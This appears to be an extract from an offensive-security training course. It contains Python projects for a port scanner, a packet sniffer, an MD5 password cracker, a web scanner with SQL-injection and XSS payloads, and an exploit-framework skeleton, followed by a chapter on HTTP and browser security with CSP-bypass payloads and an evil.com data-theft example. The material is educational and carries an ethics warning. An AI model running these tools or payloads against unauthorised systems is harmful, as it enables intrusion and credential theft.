#!/usr/bin/env python3 # port_scanner.py - Multi-threaded port scanner import socket import threading from queue import Queue # Configuration target = '192.168.1.1' port_queue = Queue() open_ports = [] def scan_port(port): """Attempt to connect to a port""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((target, port)) if result == 0: try: banner = sock.recv(1024).decode().strip() open_ports.append((port, banner)) print(f'[+] Port {port}: OPEN - {banner}') except: open_ports.append((port, 'No banner')) print(f'[+] Port {port}: OPEN') sock.close() except: pass def worker(): """Worker thread to scan ports from queue""" while not port_queue.empty(): port = port_queue.get() scan_port(port) port_queue.task_done() # Main scanning logic print(f'Scanning {target}...') # Add ports to queue for port in range(1, 1025): # Scan first 1024 ports port_queue.put(port) # Create worker threads threads = [] for _ in range(100): # 100 concurrent threads t = threading.Thread(target=worker) t.start() threads.append(t) # Wait for completion port_queue.join() print(f'\nScan complete. Found {len(open_ports)} open ports.') # ENHANCEMENTS TO ADD: # - Service detection (compare banners to known services) # - UDP scanning # - OS fingerprinting # - Output to file (JSON, XML, CSV) # - Stealth scanning (slow, randomized timing)

Project 2: Packet Sniffer

#!/usr/bin/env python3 # packet_sniffer.py - Network packet capture and analysis from scapy.all import * def packet_callback(packet): """Process each captured packet""" if IP in packet: ip_src = packet[IP].src ip_dst = packet[IP].dst # TCP packets if TCP in packet: sport = packet[TCP].sport dport = packet[TCP].dport flags = packet[TCP].flags print(f'[TCP] {ip_src}:{sport} β†’ {ip_dst}:{dport} [{flags}]') # Check for HTTP traffic if Raw in packet and dport == 80: payload = packet[Raw].load.decode(errors='ignore') if 'GET' in payload or 'POST' in payload: print(f' HTTP Request: {payload[:100]}') # UDP packets elif UDP in packet: sport = packet[UDP].sport dport = packet[UDP].dport print(f'[UDP] {ip_src}:{sport} β†’ {ip_dst}:{dport}') # ICMP packets elif ICMP in packet: icmp_type = packet[ICMP].type print(f'[ICMP] {ip_src} β†’ {ip_dst} (Type {icmp_type})') # Start sniffing print('Starting packet capture... (Ctrl+C to stop)') sniff(prn=packet_callback, store=False) # ENHANCEMENTS TO ADD: # - Filter by protocol (only HTTP, only DNS, etc.) # - Save captures to PCAP file # - Reconstruct TCP streams # - Extract credentials from cleartext protocols # - Detect suspicious patterns (port scans, large transfers)

Project 3: Password Cracker

#!/usr/bin/env python3 # password_cracker.py - Multi-method password cracking import hashlib import itertools import string from multiprocessing import Pool def md5_hash(password): """Calculate MD5 hash""" return hashlib.md5(password.encode()).hexdigest() def crack_dictionary(target_hash, wordlist_path): """Dictionary attack""" print(f'[*] Attempting dictionary attack...') with open(wordlist_path, 'r', encoding='latin-1') as f: for i, word in enumerate(f): word = word.strip() if md5_hash(word) == target_hash: print(f'[+] PASSWORD FOUND: {word}') return word if i % 10000 == 0: print(f' Tried {i} passwords...') return None def crack_brute_force(target_hash, max_length=4): """Brute force attack""" print(f'[*] Attempting brute force (max length {max_length})...') chars = string.ascii_lowercase + string.digits for length in range(1, max_length + 1): print(f' Trying length {length}...') for attempt in itertools.product(chars, repeat=length): password = ''.join(attempt) if md5_hash(password) == target_hash: print(f'[+] PASSWORD FOUND: {password}') return password return None def crack_hybrid(target_hash, wordlist_path): """Hybrid attack (dictionary + mutations)""" print(f'[*] Attempting hybrid attack...') mutations = [ lambda w: w, lambda w: w.capitalize(), lambda w: w.upper(), lambda w: w + '123', lambda w: w + '!', lambda w: w + '2023', lambda w: w[::-1], # Reverse ] with open(wordlist_path, 'r', encoding='latin-1') as f: for word in f: word = word.strip() for mutation in mutations: candidate = mutation(word) if md5_hash(candidate) == target_hash: print(f'[+] PASSWORD FOUND: {candidate}') return candidate return None # Example usage target = '5f4dcc3b5aa765d61d8327deb882cf99' # MD5 of 'password' # Try dictionary attack crack_dictionary(target, '/usr/share/wordlists/rockyou.txt') # If that fails, try brute force # crack_brute_force(target, max_length=6) # ENHANCEMENTS TO ADD: # - Support multiple hash types (SHA1, SHA256, bcrypt) # - GPU acceleration with hashcat integration # - Rainbow table support # - Rule-based mutations (leet speak, year appending) # - Distributed cracking across multiple machines

Project 4: Web Vulnerability Scanner

#!/usr/bin/env python3 # web_scanner.py - Basic web vulnerability scanner import requests from urllib.parse import urljoin, urlparse from bs4 import BeautifulSoup class WebScanner: def __init__(self, target_url): self.target = target_url self.visited = set() self.vulnerabilities = [] def scan(self): """Main scanning function""" print(f'[*] Scanning {self.target}') # Directory enumeration self.enum_directories() # Crawl site self.crawl(self.target) # Test for vulnerabilities for url in self.visited: self.test_sql_injection(url) self.test_xss(url) # Report self.report_vulnerabilities() def enum_directories(self): """Check for common directories""" common_dirs = [ '/admin', '/login', '/backup', '/config', '/uploads', '/api', '/test', '/.git' ] print('[*] Enumerating directories...') for dir_path in common_dirs: url = urljoin(self.target, dir_path) try: r = requests.get(url, timeout=3) if r.status_code == 200: print(f' [+] Found: {url}') self.vulnerabilities.append({ 'type': 'Directory Disclosure', 'url': url, 'severity': 'Info' }) except: pass def crawl(self, url, depth=2): """Crawl website to find pages""" if depth == 0 or url in self.visited: return self.visited.add(url) print(f' Crawling: {url}') try: r = requests.get(url, timeout=5) soup = BeautifulSoup(r.text, 'html.parser') # Find all links for link in soup.find_all('a', href=True): next_url = urljoin(url, link['href']) # Only crawl same domain if urlparse(next_url).netloc == urlparse(self.target).netloc: self.crawl(next_url, depth - 1) except: pass def test_sql_injection(self, url): """Test for SQL injection""" payloads = ["'", "1' OR '1'='1", "1' AND '1'='2"] for payload in payloads: test_url = url + '?id=' + payload try: r = requests.get(test_url, timeout=3) # Check for SQL errors in response errors = ['sql', 'mysql', 'syntax error', 'database'] if any(err in r.text.lower() for err in errors): self.vulnerabilities.append({ 'type': 'SQL Injection', 'url': test_url, 'severity': 'Critical' }) print(f' [!] SQL Injection found: {url}') break except: pass def test_xss(self, url): """Test for XSS""" payload = '<script>alert(1)</script>' test_url = url + '?q=' + payload try: r = requests.get(test_url, timeout=3) if payload in r.text: self.vulnerabilities.append({ 'type': 'Cross-Site Scripting (XSS)', 'url': url, 'severity': 'High' }) print(f' [!] XSS found: {url}') except: pass def report_vulnerabilities(self): """Print final report""" print(f'\n{"="*50}') print(f'SCAN RESULTS: {len(self.vulnerabilities)} vulnerabilities found') print(f'{"="*50}\n') for vuln in self.vulnerabilities: print(f'[{vuln["severity"]}] {vuln["type"]}') print(f' URL: {vuln["url"]}\n') # Usage scanner = WebScanner('http://example.com') scanner.scan() # ENHANCEMENTS TO ADD: # - More vulnerability checks (CSRF, XXE, SSRF, etc.) # - Authentication bypass testing # - API endpoint discovery and testing # - Report generation (HTML, PDF) # - Parallel scanning for speed

CTF-Style Challenge Projects

Complete these progressively harder challenges to test your skills:

Beginner: Crack the Binary

Challenge: Reverse engineer a simple binary that checks a password. Find the password without source code.

Skills: GDB, assembly reading, string analysis, basic reverse engineering.

Tools: GDB, strings, ltrace, strace

Intermediate: Exploit Stack Overflow

Challenge: Exploit a vulnerable C program with a buffer overflow. Protections: None (NX disabled, no ASLR, no canary).

Skills: Buffer overflows, shellcode injection, payload crafting.

Tools: GDB, Python, Pwntools

Advanced: Bypass DEP with ROP

Challenge: Exploit a buffer overflow with NX enabled. Must use ROP chain to execute code.

Skills: ROP chains, gadget finding, advanced exploitation.

Tools: ROPgadget, pwntools, GDB

Expert: Full ASLR Bypass

Challenge: Exploit with ASLR, NX, and PIE enabled. Must leak addresses first.

Skills: Information leaks, ASLR bypass, complex ROP chains.

Tools: Full exploitation toolkit

Capstone Project: Build Your Own Exploit Framework

The ultimate project: Build a mini exploitation framework similar to Metasploit but focused on learning.

#!/usr/bin/env python3 # exploit_framework.py - Simplified exploit framework class ExploitModule: """Base class for exploit modules""" def __init__(self): self.name = 'Base Exploit' self.description = 'Base exploit module' self.target = None self.payload = None def check(self): """Check if target is vulnerable""" raise NotImplementedError def exploit(self): """Execute the exploit""" raise NotImplementedError class BufferOverflowExploit(ExploitModule): """Example: Buffer overflow exploit module""" def __init__(self): super().__init__() self.name = 'Generic Buffer Overflow' self.description = 'Exploits stack buffer overflow vulnerabilities' self.offset = 0 self.return_address = 0 def set_target(self, target): self.target = target def set_payload(self, payload): self.payload = payload def set_offset(self, offset): self.offset = offset def set_return_address(self, addr): self.return_address = addr def check(self): # Send test payload and check for crash test_payload = b'A' * 100 # ... implementation ... return True def exploit(self): # Build exploit payload payload = self.payload + b'A' * (self.offset - len(self.payload)) payload += self.return_address.to_bytes(8, 'little') # Send payload # ... implementation ... print(f'[+] Exploit sent!') return True class PayloadGenerator: """Generate various payloads""" @staticmethod def reverse_shell(ip, port): # Generate reverse shell shellcode pass @staticmethod def bind_shell(port): # Generate bind shell shellcode pass @staticmethod def exec_command(command): # Generate command execution shellcode pass class ExploitFramework: """Main framework class""" def __init__(self): self.modules = {} self.current_module = None def register_module(self, module): self.modules[module.name] = module def list_modules(self): print('Available Exploit Modules:') for name, module in self.modules.items(): print(f' {name}: {module.description}') def use_module(self, name): if name in self.modules: self.current_module = self.modules[name] print(f'[*] Using module: {name}') else: print(f'[-] Module not found: {name}') def exploit(self): if self.current_module: print(f'[*] Launching exploit: {self.current_module.name}') self.current_module.exploit() else: print('[-] No module selected') # Framework usage framework = ExploitFramework() # Register modules framework.register_module(BufferOverflowExploit()) # Interactive console while True: cmd = input('exploit> ').strip() if cmd == 'list': framework.list_modules() elif cmd.startswith('use '): framework.use_module(cmd[4:]) elif cmd == 'exploit': framework.exploit() elif cmd == 'exit': break # FEATURES TO ADD: # - More exploit modules (format string, heap, UAF) # - Multiple payload types (reverse shell, bind shell, etc.) # - Target database (store info about vulnerable targets) # - Automated exploitation (try multiple techniques) # - Session management (handle multiple shells) # - Post-exploitation modules (privilege escalation, persistence)

Practice Resources & Next Steps

Where to Practice These Skills

  • PicoCTF: Beginner-friendly CTF with binary exploitation challenges
  • pwnable.kr: Dedicated to binary exploitation, progressive difficulty
  • HackTheBox: Realistic machines with exploitation components
  • Exploit-Exercises: VMs specifically for learning exploitation (Protostar, Fusion)
  • ROP Emporium: Learn return-oriented programming step-by-step
  • Nightmare: Free binary exploitation course with challenges

⚠️ Legal and Ethical Considerations

Never exploit systems without permission. Everything in this chapter is for educational purposes and should only be used on:

  • Your own systems and VMs
  • Authorized CTF platforms and challenges
  • Bug bounty programs with clear scope
  • Penetration testing with signed contracts

Unauthorized exploitation is illegal and unethical. Use these skills responsibly to defend systems, not attack them.

Building Your Hacker Portfolio

As you complete projects, document them:

Your portfolio demonstrates practical skills to employers and the security community. Build it consistently, and opportunities will follow.

← Chapter 05: Network Penetration Next: Chapter 07 - Web Exploitation β†’

HTTP Deep Dive for Hackers

# ==================== STEP 4: TLS HANDSHAKE ==================== # Before sending sensitive data, establish encrypted connection Client Hello: "I support TLS 1.3, these ciphers..." Server Hello: "Let's use TLS 1.3 with AES-256-GCM" Certificate: "Here's my SSL certificate proving I'm bank.com" Verification: Browser checks certificate against trusted CAs Key Exchange: Both parties derive shared encryption key Finished: All future traffic is encrypted! # ==================== STEP 5: HTTP REQUEST SENT ==================== # Now encrypted and sent through the TLS tunnel GET /account HTTP/1.1 Host: bank.com Cookie: session=abc123def456 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: keep-alive # ==================== STEP 6: SERVER PROCESSING ==================== # The web server receives and processes your request 1. Web Server (Apache/Nginx) receives request 2. Routes to application (PHP/Python/Node.js/etc.) 3. Application checks: Is this user logged in? - Looks up session=abc123def456 in database - Finds: User ID 1234, name "John Smith" 4. Application queries database: - SELECT balance FROM accounts WHERE user_id = 1234 - Result: $10,000 5. Application generates HTML page with your data 6. Response sent back to browser # ==================== STEP 7: HTTP RESPONSE ==================== HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 12345 Set-Cookie: tracking=xyz789; SameSite=Lax Cache-Control: no-store X-Frame-Options: DENY Content-Security-Policy: default-src 'self' <!DOCTYPE html> <html> <head><title>Your Account</title></head> <body> <h1>Welcome, John Smith</h1> <p>Your balance: $10,000</p> </body> </html> # ==================== STEP 8: BROWSER RENDERING ==================== 1. Parse HTML into DOM (Document Object Model) 2. Parse CSS into CSSOM (CSS Object Model) 3. Load external resources: - <link href="styles.css"> β†’ Another HTTP request - <script src="app.js"> β†’ Another HTTP request - <img src="logo.png"> β†’ Another HTTP request 4. Execute JavaScript 5. Paint pixels to screen 6. Handle user interactions

Every Step is an Attack Surface

Each step in this process can be attacked. Understanding where vulnerabilities exist is the first step to exploiting them:

🎯 DNS Attacks

DNS Poisoning: Corrupt DNS cache to redirect bank.com to attacker's fake site. Your browser shows "bank.com" but you're on evil.com.

DNS Hijacking: Compromise DNS server itself to redirect all lookups.

πŸ”“ Man-in-the-Middle

Without HTTPS: Attackers on your network can read and modify ALL traffic. See passwords, inject malware, steal sessions.

With HTTPS: Still vulnerable if user ignores certificate warnings or if CA is compromised.

πŸͺ Cookie/Session Attacks

Session Hijacking: Steal someone's session cookie and you become them. No password needed - you have their authenticated session.

Session Fixation: Force victim to use a session ID you know.

πŸ’‰ Server-Side Attacks

Injection: SQL, Command, LDAP - trick server into executing attacker-controlled code.

Logic Flaws: Bypass payment, access other users' data, escalate privileges.

πŸ“± Client-Side Attacks

XSS: Inject JavaScript that runs in victim's browser. Steal cookies, capture keystrokes, perform actions.

CSRF: Trick victim's browser into making requests they didn't intend.

πŸ”§ Infrastructure Attacks

Server Vulnerabilities: Outdated software, misconfigurations, default credentials.

Supply Chain: Compromise libraries or CDNs that the site depends on.

Attack Surface Thinking

Every feature is a potential vulnerability. Every input is an attack vector. Every trust boundary can be crossed. When looking at a web application, ask yourself:

  • What data does this accept? Can I inject malicious payloads?
  • What trust assumptions are being made? Can I violate them?
  • What happens if I do something unexpected?
  • How does authentication/authorization work? Can I bypass it?
  • What happens behind the scenes that I can't see?

HTTP Protocol Deep Dive

HTTP (HyperText Transfer Protocol) is the language browsers and servers speak. As a web hacker, you need to understand every byte of it - because every byte is a potential attack vector. This is the foundation of all web hacking.

πŸ“ HTTP is Just Text

Despite its importance, HTTP is surprisingly simple - it's just structured text sent over a network connection. No fancy encoding, no binary formats (in HTTP/1.1). You can literally type HTTP requests by hand using netcat or telnet. This simplicity is both its strength and its weakness - it's easy to understand, easy to debug, and easy to manipulate.

HTTP Request Structure

# Every HTTP request has 3 parts: Request Line, Headers, Body # ==================== THE REQUEST LINE ==================== POST /login HTTP/1.1 β”‚ β”‚ β”‚ β”‚ β”‚ └── Protocol version β”‚ └── Path/Resource being requested └── HTTP Method (what you're doing) # ==================== REQUEST HEADERS ==================== Host: example.com # REQUIRED - which site Content-Type: application/x-www-form-urlencoded # Format of body Content-Length: 27 # Size of body in bytes Cookie: session=abc123; tracking=xyz # Session cookies User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://example.com/previous-page Origin: https://example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... X-Requested-With: XMLHttpRequest # Indicates AJAX request X-Forwarded-For: 192.168.1.1 # Original client IP (proxied) # ← EMPTY LINE separates headers from body # ==================== REQUEST BODY ==================== username=admin&password=secret # Form data # The body format depends on Content-Type: # application/x-www-form-urlencoded: key=value&key2=value2 # application/json: {"username": "admin", "password": "secret"} # multipart/form-data: For file uploads

HTTP Methods - What You're Asking For

Method Purpose Hacker Interest
GET Retrieve data Parameters in URL - visible in logs, history, Referer header. Never use for sensitive data but devs do anyway!
POST Submit data Body can contain injection payloads. Most common method for login, forms, API calls.
PUT Update/create resource Sometimes allows arbitrary file upload! Check if you can PUT files to web root.
DELETE Remove resource Authorization bypass = delete any resource. Test with other users' resources.
PATCH Partial update Often has different validation than PUT. Try mass assignment attacks.
OPTIONS Check allowed methods Reveals what server accepts. Check for dangerous methods like PUT, DELETE, TRACE.
HEAD GET without body Bypass content-based security checks while still seeing headers.
TRACE Debug/echo request Can steal cookies via XSS (Cross-Site Tracing). Usually disabled.
CONNECT Tunnel (for proxies) Can create tunnels through proxy servers. SSRF potential.

HTTP Response Structure

# ==================== STATUS LINE ==================== HTTP/1.1 200 OK β”‚ β”‚ β”‚ β”‚ β”‚ └── Status text (human readable) β”‚ └── Status code (machine readable) └── Protocol version # ==================== RESPONSE HEADERS ==================== Date: Mon, 15 Jan 2024 12:00:00 GMT Server: Apache/2.4.41 (Ubuntu) # ← Version disclosure! X-Powered-By: PHP/8.0.0 # ← Technology disclosure! Content-Type: text/html; charset=UTF-8 Content-Length: 1234 Set-Cookie: session=newvalue; HttpOnly; Secure; SameSite=Strict Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' Strict-Transport-Security: max-age=31536000; includeSubDomains # ← EMPTY LINE # ==================== RESPONSE BODY ==================== <!DOCTYPE html> <html> <head><title>Example</title></head> <body>Response content here</body> </html>

HTTP Status Codes - What They Tell You

# ==================== 1xx - INFORMATIONAL ==================== 100 Continue # Server received headers, send body 101 Switching Protocols # WebSocket upgrade # ==================== 2xx - SUCCESS ==================== 200 OK # Request worked! 201 Created # Resource created (POST/PUT success) 204 No Content # Success but nothing to return 206 Partial Content # Range request (video streaming, downloads) # ==================== 3xx - REDIRECTION ==================== 301 Moved Permanently # Resource permanently moved, update bookmarks 302 Found # Temporary redirect (most common) 304 Not Modified # Use cached version 307 Temporary Redirect # Like 302 but preserves method 308 Permanent Redirect # Like 301 but preserves method # ==================== 4xx - CLIENT ERRORS ==================== 400 Bad Request # Malformed request (your syntax is wrong) 401 Unauthorized # Need to authenticate (who are you?) 403 Forbidden # Authenticated but not allowed (you can't do that) 404 Not Found # Resource doesn't exist 405 Method Not Allowed # Wrong HTTP method for this endpoint 408 Request Timeout # Server gave up waiting 413 Payload Too Large # Request body too big 414 URI Too Long # URL is too long 429 Too Many Requests # Rate limited! Slow down # ==================== 5xx - SERVER ERRORS ==================== 500 Internal Server Error # Server crashed (INTERESTING! Stack traces?) 501 Not Implemented # Server doesn't support this method 502 Bad Gateway # Backend server failed 503 Service Unavailable # Server overloaded/maintenance 504 Gateway Timeout # Backend server took too long

Status Code Enumeration

Different response codes reveal valuable information:

  • 403 vs 404: 403 means "I see it but you can't access it" - the resource EXISTS. 404 means "doesn't exist". This reveals valid usernames, files, endpoints.
  • 401 vs 403: 401 means "authenticate first", 403 means "you're authenticated but still can't". Helps understand auth model.
  • 500 errors: Often include stack traces, file paths, database errors - goldmine of information!
  • 302 redirects: Where does it go? Internal URLs, admin panels, debug endpoints?

Critical HTTP Headers for Hackers

# ==================== SECURITY HEADERS (look for missing ones!) ==================== Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' # Controls what resources can be loaded. Missing = easier XSS # 'unsafe-inline' = XSS might still work! # 'unsafe-eval' = eval() allowed, easier exploitation X-Frame-Options: DENY | SAMEORIGIN | ALLOW-FROM uri # Prevents clickjacking. Missing = site can be framed # DENY = can't be framed anywhere # SAMEORIGIN = only same origin can frame X-XSS-Protection: 1; mode=block # Browser's built-in XSS filter. Deprecated but still seen # 0 = disabled (interesting!) # 1 = enabled # 1; mode=block = block page entirely X-Content-Type-Options: nosniff # Prevents MIME sniffing. Missing = browser might execute CSS as JS Strict-Transport-Security: max-age=31536000; includeSubDomains; preload # Forces HTTPS. Missing = can strip SSL with MITM # ==================== AUTHENTICATION HEADERS ==================== Cookie: session=abc123; user_id=1; role=admin # Session management. Look for: # - Predictable values # - Sensitive data in clear text # - Missing HttpOnly/Secure flags Authorization: Basic dXNlcjpwYXNz # base64(user:pass) Authorization: Bearer eyJhbGciOiJIUzI1NiIs... # JWT token Authorization: Digest username="user"... # Digest auth Set-Cookie: session=abc123; Path=/; Domain=.example.com; Expires=Thu, 01 Jan 2025 00:00:00 GMT; HttpOnly; # Can't access via JavaScript Secure; # Only sent over HTTPS SameSite=Strict; # Only sent to same origin # ==================== INFORMATION DISCLOSURE ==================== Server: Apache/2.4.41 (Ubuntu) # Exact version = search for CVEs X-Powered-By: PHP/7.4.3 # Backend technology X-AspNet-Version: 4.0.30319 # .NET version X-Generator: WordPress 5.8 # CMS and version # ==================== CORS HEADERS (Cross-Origin Resource Sharing) ==================== Access-Control-Allow-Origin: * # DANGEROUS! Any site can read Access-Control-Allow-Origin: https://trusted.com # Only this origin Access-Control-Allow-Credentials: true # Include cookies Access-Control-Allow-Methods: GET, POST, PUT # Allowed methods Access-Control-Allow-Headers: X-Custom-Header # Allowed request headers # Misconfigurations to look for: # - Origin: * with Credentials: true (shouldn't work but sometimes does) # - Reflecting Origin header without validation # - Allowing null origin

Working with HTTP - Practical Tools

# ==================== COMMAND LINE HTTP ==================== # Using curl curl https://example.com # Simple GET curl -v https://example.com # Verbose (see headers) curl -I https://example.com # HEAD request (headers only) curl -X POST https://example.com/login # Specify method curl -d "user=admin&pass=123" URL # POST data curl -H "Cookie: session=abc" URL # Custom header curl -H "Content-Type: application/json" \ -d '{"user":"admin"}' URL # JSON POST curl -k https://self-signed.com # Ignore SSL errors curl -L URL # Follow redirects curl -b cookies.txt -c cookies.txt URL # Use/save cookies curl -x http://127.0.0.1:8080 URL # Through proxy (Burp) # Using netcat (raw HTTP) echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80 # Using httpie (more readable) http GET https://example.com http POST https://example.com/login user=admin pass=123 http PUT https://example.com/api/user/1 name=hacker # ==================== BROWSER DEV TOOLS ==================== # Chrome/Firefox: Press F12 Network Tab: - See all requests and responses - View/edit cookies - Copy as cURL command - Replay requests - Throttle network speed Console Tab: - Execute JavaScript - Access document.cookie - Manipulate DOM - Test XSS payloads Application Tab: - View cookies, localStorage, sessionStorage - Examine service workers - Check cached resources

Browser Security Model

Browsers are your attack platform AND your target's defense. Understanding how browsers protect users helps you bypass those protections. The browser is the battlefield where client-side attacks play out.

🏰 The Browser as a Fortress

The browser is like a medieval fortress protecting the user:

  • Same-Origin Policy: Walls between different kingdoms (websites)
  • Content Security Policy: Guards who check what enters
  • Cookies: Sealed letters only certain people can read
  • HTTPS: Encrypted messengers that can't be intercepted
  • Sandbox: Prison for untrusted code (JavaScript)

Your job as a hacker is to find holes in these walls, bribe the guards, or trick the king into letting you in.

Same-Origin Policy (SOP) - The Foundation

The most important browser security feature. It prevents a website from reading data from another website. Without SOP, any website could read your bank account balance, your email, your private messages.

# ==================== WHAT DEFINES AN "ORIGIN"? ==================== # Origin = Protocol + Domain + Port (all three must match!) https://example.com:443 ← Origin 1 https://example.com:443 ← SAME ORIGIN (port 443 is default for https) http://example.com:80 ← DIFFERENT (protocol: http vs https) https://sub.example.com:443 ← DIFFERENT (domain: sub.example.com) https://example.com:8080 ← DIFFERENT (port: 8080 vs 443) https://example.org:443 ← DIFFERENT (domain: .org vs .com) # ==================== WHAT SOP PREVENTS ==================== # evil.com CANNOT: - Read responses from bank.com - Access bank.com cookies or localStorage - Read bank.com DOM content - Access bank.com frames/iframes content # Example: evil.com tries to steal your bank data fetch('https://bank.com/api/balance') .then(r => r.json()) .then(data => sendToEvil(data)); // BLOCKED by SOP! # ==================== WHAT SOP ALLOWS (ATTACK SURFACE!) ==================== # evil.com CAN: - Send requests TO bank.com (CSRF attacks!) - Embed images FROM bank.com (<img src="bank.com/logo.png">) - Include scripts FROM bank.com (<script src="bank.com/jquery.js">) - Link TO bank.com (<a href="bank.com">) - Embed bank.com in iframe (if not blocked by X-Frame-Options) - Submit forms TO bank.com # This is why CSRF works - you can SEND requests, just not READ responses # ==================== SOP BYPASS MECHANISMS ==================== # CORS (Cross-Origin Resource Sharing) # Server explicitly allows certain origins to read responses Access-Control-Allow-Origin: https://trusted.com # JSONP (old technique, still sometimes used) # Script tags bypass SOP, so server wraps data in callback <script src="bank.com/api/data?callback=myFunction"> # Returns: myFunction({"balance": 10000}) # document.domain relaxation # Subdomains can access each other by setting document.domain # app.example.com and api.example.com both set document.domain = "example.com" # postMessage API # Windows can explicitly send messages to each other window.parent.postMessage("data", "https://target.com");

Cookies - Session Management Deep Dive

# ==================== COOKIE STRUCTURE ==================== Set-Cookie: session=abc123xyz; # Name=Value Domain=.example.com; # Which domains receive this cookie Path=/app; # Which paths receive this cookie Expires=Thu, 01 Jan 2026 00:00:00 GMT; # When it expires Max-Age=31536000; # Alternative to Expires (seconds) HttpOnly; # JavaScript CAN'T access Secure; # Only sent over HTTPS SameSite=Strict; # CSRF protection # ==================== COOKIE FLAGS EXPLAINED ==================== HttpOnly: - JavaScript document.cookie CANNOT see this cookie - Protects against XSS session theft - CRITICAL for session cookies - Check: if XSS exists but cookie is HttpOnly, you need other tricks Secure: - Cookie only sent over HTTPS connections - Prevents sniffing over HTTP - Not set? Cookie sent in clear text on HTTP SameSite: - Strict: Cookie NEVER sent cross-site (breaks some UX) - Lax: Sent on top-level navigations (links) but not forms/AJAX - None: Always sent (must have Secure flag) # ==================== VULNERABILITY EXAMPLES ==================== # Missing HttpOnly Set-Cookie: session=abc123 # XSS can steal: document.cookie β†’ "session=abc123" # Missing Secure Set-Cookie: session=abc123; HttpOnly # Man-in-the-middle can sniff cookie on HTTP connection # Missing SameSite (or None) Set-Cookie: session=abc123; HttpOnly; Secure # CSRF attacks possible - cookie sent on cross-site requests # Overly Broad Domain Set-Cookie: session=abc123; Domain=.example.com # ANY subdomain can read AND set this cookie # evil.example.com can steal session from app.example.com # Predictable Value Set-Cookie: session=user123_1705123456 # Attacker can guess other sessions: user456_1705123456 # Sensitive Data in Cookie Set-Cookie: user_role=admin; user_id=123 # Attacker might just change: user_role=superadmin

Content Security Policy (CSP)

# ==================== CSP BASICS ==================== # CSP controls what resources a page can load # Sent as HTTP header or meta tag Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; frame-ancestors 'none'; # ==================== CSP DIRECTIVES ==================== default-src # Fallback for all resource types script-src # JavaScript sources style-src # CSS sources img-src # Image sources font-src # Font sources connect-src # AJAX, WebSocket, fetch destinations frame-src # iframe sources frame-ancestors # What can frame this page (replaces X-Frame-Options) form-action # Where forms can submit base-uri # Allowed base URLs object-src # Flash, Java applets (block with 'none') report-uri # Where to send violation reports # ==================== CSP VALUES ==================== 'self' # Same origin only 'none' # Block everything 'unsafe-inline' # Allow inline scripts/styles (weakens protection!) 'unsafe-eval' # Allow eval() (weakens protection!) 'nonce-abc123' # Only scripts with matching nonce 'sha256-...' # Only scripts matching hash https: # Only HTTPS resources *.example.com # All subdomains of example.com # ==================== BYPASSING CSP ==================== # If 'unsafe-inline' is present: - XSS with inline scripts works normally # If JSONP endpoint on whitelisted domain: <script src="trusted.com/api?callback=alert(1)//"></script> # If AngularJS on whitelisted CDN: {{constructor.constructor('alert(1)')()}} # If base-uri not set: <base href="https://evil.com/"> # Now all relative URLs load from evil.com # If script-src includes 'unsafe-eval': eval('alert(1)'); new Function('alert(1)')(); # CSP Report-Only mode (doesn't block, just reports): Content-Security-Policy-Report-Only: ... # Good for testing, but might be left in production!

Other Browser Security Features

πŸ–ΌοΈ X-Frame-Options

Purpose: Prevent clickjacking by controlling whether page can be framed.

DENY # Never allow framing SAMEORIGIN # Only same origin ALLOW-FROM url # Specific URL (deprecated)

Missing? Page can be framed β†’ clickjacking possible!

πŸ”’ HSTS

Purpose: Force HTTPS, prevent SSL stripping attacks.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Missing? First request vulnerable to MITM.

πŸ“„ X-Content-Type-Options

Purpose: Prevent MIME sniffing (treating CSS as JavaScript).

X-Content-Type-Options: nosniff

Missing? Browser might execute non-script as script.

🌐 CORS

Purpose: Allow controlled cross-origin requests.

Access-Control-Allow-Origin: * # DANGEROUS with credentials!

Misconfigured? Arbitrary sites can read responses.

OWASP Top 10: The Most Critical Vulnerabilities

OWASP (Open Web Application Security Project) maintains the definitive list of the most dangerous web vulnerabilities. This list is updated periodically based on real-world data. Every web hacker must know these inside and out - they represent the most common and impactful vulnerabilities you'll encounter.

Why OWASP Top 10 Matters

The OWASP Top 10 isn't just a list - it's a framework that drives the entire security industry. Penetration test reports are often organized around it. Security tools scan for it. Compliance frameworks reference it. Bug bounty programs prioritize it. If you understand these 10 categories deeply, you understand web security.

A01: Broken Access Control πŸ₯‡

The #1 vulnerability. Users can access resources they shouldn't. Examples:

  • IDOR: Changing /user/123 to /user/124 shows another user's data
  • Privilege escalation: Normal user accesses admin functions
  • Directory traversal: ../../etc/passwd
  • Missing function-level access control

A02: Cryptographic Failures

Sensitive data exposed due to weak or missing cryptography:

  • Passwords stored in plaintext or with weak hashing (MD5)
  • HTTP instead of HTTPS
  • Weak encryption algorithms (DES, RC4)
  • Hardcoded encryption keys
  • Sensitive data in URL parameters

A03: Injection πŸ’‰

Untrusted data interpreted as commands:

  • SQL Injection (SQLi)
  • NoSQL Injection
  • OS Command Injection
  • LDAP Injection
  • XPath Injection
  • Template Injection (SSTI)

A04: Insecure Design

Architectural flaws that can't be fixed with code - requires redesign:

  • Missing rate limiting on password reset
  • Security questions with public answers
  • Trusting client-side validation only
  • Flawed business logic

A05: Security Misconfiguration

Insecure defaults, incomplete configs, verbose errors:

  • Default passwords unchanged
  • Unnecessary features enabled
  • Stack traces in error messages
  • Missing security headers
  • Directory listing enabled
  • Cloud storage publicly accessible

A06: Vulnerable Components

Using libraries with known vulnerabilities:

  • Outdated frameworks (Struts, Spring)
  • Vulnerable JavaScript libraries
  • Unpatched CMS (WordPress, Drupal)
